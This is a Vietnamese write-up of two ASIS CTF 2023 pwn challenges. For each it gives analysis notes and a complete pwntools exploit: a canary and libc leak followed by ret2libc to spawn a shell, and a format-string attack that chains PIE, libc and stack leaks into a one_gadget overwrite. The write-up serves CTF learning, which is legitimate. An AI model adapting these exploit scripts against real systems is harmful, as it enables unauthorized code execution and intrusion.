(writeup) ASIS CTF 2023

hipwn

• basic file check

• check ida

• thông qua ida, ta đã biết sẽ có lỗi từ hàm puts
• dụa vào cơ chế hàm puts sẽ in đến khi gặp NULL byte, ta dễ dàng leak được canry và cả libc (dựa vào vòng lặp cho dù ghi đè canary vẫn chưa đến lúc return)
• biến được khai báo 72 bytes, lại cho phép ow tuỳ ý
  –-> 73 bytes sẽ nối chuỗi canary
• sau canary là $rbp
  –-> ow $rbp để nối chuỗi libc_start_main
• có libc ta sẽ ret2libc như bình thường
• thoát khỏi vòng lặp bằng cách gửi số khác 1337

• script:

#!/usr/bin/python3

from pwn import *

context.binary = exe = ELF('./chall',checksec=False)
libc = ELF('./libc.so.6',checksec=False)

# p = process(exe.path)
p = remote('45.153.243.57', 1337)

# gdb.attach(p, gdbscript = '''
# b*main+141
# c
# ''')
# input()

def loop(data):
	p.sendlineafter(b'much???\n', str(1337))
	p.send(data)

def choice(choice):
	p.sendlineafter(b'again?\n', str(choice))


payload = b'a'*73
loop(payload)

p.recvuntil(payload)
canary = u64(b'\0' + p.recv(7))
log.info("canary leak: " + hex(canary))

choice(1337)

payload = b'a'*88
loop(payload)

p.recvuntil(payload)
libc_leak = u64(p.recv(6) + b'\0\0')
libc.address = libc_leak - 0x29d90
log.info("libc leak: " + hex(libc_leak))
log.info("libc base: " + hex(libc.address))

choice(1337)

pop_rdi = libc.address + 0x000000000002a3e5
ret = libc.address + 0x0000000000029cd6

payload = b'a'*72 
payload += p64(canary) 
payload += b'a'*8 
payload += p64(pop_rdi) + p64(next(libc.search(b'/bin/sh')))
payload += p64(ret)
payload += p64(libc.sym['system'])
loop(payload)
choice(1)

p.interactive()
#ASIS{so_you_know_how_to_pwn?!!!!}

ASIS{so_you_know_how_to_pwn?!!!}

text-editor

• basic file check

• check ida

main()

print_menu()

edit_text()
vị trí payload sẽ ghi vào vùng nhớ .bss (&text)

save_text()
đưa payload từ &text vào stack

show_error()
là hàm khác với option3
chọn invalid option sẽ in ra thông tin nào đó

• note lại các offset địa chỉ quan trọng

text = 0x4020

off_4210 = 0x4210

• từ 2 địa chỉ ta note lại ở trên, thấy rằng là ta bắt đầu nhập từ 4020, và in ra từ 4120
  –-> offset 0x100
• ta còn có thể ow 8 byte
• vậy thứ ta muốn là leak cái gì ?
• PIE động –-> leak exe trước

thấy rằng là sau khi nhập 0x100 byte 'a', kế đó là 3 byte 'bc\n'
ngay ở lần call printf thanh ghi $rdi 3 byte cuối là 0xa06362
vậy leak dc exe bằng những byte overflow

• thứ ta cần là $rdi chứa 1 địa chỉ hợp lệ và trỏ đến 1 địa chỉ exe
• thì đây là địa chỉ khả quan (0x8008)

test với chuỗi 'abcd\n'

• ta sẽ overflow 2 byte cuối là p16(0x8008)
• nhưng vì PIE động nên tạm thời ta bật NOASLR (dự kiến sẽ brute để leak exe)

phải brute vì ta còn bị dính 1 bit kế của 0x8008 (cao hoặc thấp hơn) –-> nằm ngoài exe

• khi đã leak được exe base, tiếp theo ta sẽ leak libc bằng puts@GOT
• việc cuối cùng là gọi one_gadget ow ở return 1 hàm (ở đây chọn hàm main )
• ta cần leak stack để trỏ nhằm ow one_gadget
• thì stack có thể leak bằng 2 cách:
  • dùng fmt ở %6$p
  • dùng __environ có trong libc
• có stack, tính $rip rồi từ đó fmt bình thường

rbp chung rsp nên return trong hàm show_text() sẽ là dc38
offset = 0x128

• khi nhập chuỗi payload để fmt, ta sẽ không printf liền mà ta sẽ sử dụng hàm save_text() để đưa payload ta lên stack nhằm thay đổi $rip
• vì one_gadget cần yêu cầu $rbp-offset là địa chỉ writeable nên sau payload 0x100 byte sẽ là 8 byte địa chỉ &text
• vì sự thay đổi 1 bit nên tỉ lệ brute là 1/16 (brute tay🥲)

• script:

#!/usr/bin/env python3

from pwn import *

context.binary = exe = ELF("./chall_patched",checksec=False)
libc = ELF("./libc.so.6",checksec=False)
ld = ELF("./ld-linux-x86-64.so.2",checksec=False)

if args.REMOTE:
	p = remote('45.153.243.57',13337)
else:
	p = process(exe.path)

def GDB(): #NOASLR
        if not args.REMOTE:
                gdb.attach(p, gdbscript='''
                b*edit_text+48
		b*show_error+23
		b*main+195
		b*save_text+38
                c
                ''')
                input()

info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)

GDB()

def edit(data):
	sla(b'> ',b'1')
	sa(b'text: ',data)

def show():
	sla(b'> ',b'4')

def save():
	sla(b'> ',b'2')

payload = b'a'*0x100 + p16(0x8008)
edit(payload)
show()

exe_leak = u64(p.recv(6) + b'\0\0')
exe.address = exe_leak - 0x4008
info("exe leak: " + hex(exe_leak))
info("exe base: " + hex(exe.address))

payload = b'a'*0x100 + p64(exe.got['puts'])
edit(payload)
show()
libc_leak = u64(p.recv(6) + b'\0\0')
libc.address = libc_leak - libc.sym['puts']
info("libc leak: " + hex(libc_leak))
info("libc base: " + hex(libc.address))

text = exe.sym['text']

payload = b'%6$p|'
payload = payload.ljust(0x100, b'P')
payload += p64(text)
edit(payload)
show()
stack = int(p.recvuntil(b'|')[:-1], 16)
rip = stack - 0x128
info("stack leak: " + hex(stack))
info("stack need: " + hex(rip))

gadget = [0xebcf1,0xebcf5,0xebcf8]
one_gadget = libc.address + gadget[1]
info("one gadget: " + hex(one_gadget))

package = {
        ((one_gadget) >> 0) & 0xffff : rip, 
        ((one_gadget) >> 16) & 0xffff : rip+2, 
        ((one_gadget) >> 32) & 0xffff : rip+4, 
}
order = sorted(package)
payload = f'%{order[0]}c%18$hn'.encode()
payload += f'%{order[1] - order[0]}c%19$hn'.encode()
payload += f'%{order[2] - order[1]}c%20$hn'.encode()
payload = payload.ljust(0x40)
payload += flat(
        package[order[0]],
        package[order[1]],
        package[order[2]]
)
payload = payload.ljust(0x100,b'P') + p64(text)
edit(payload)
save()
show()

p.interactive()
#ASIS{text_editing_has_never_been_so_fun_d1fd2}

ASIS{text_editing_has_never_been_so_fun_d1fd2}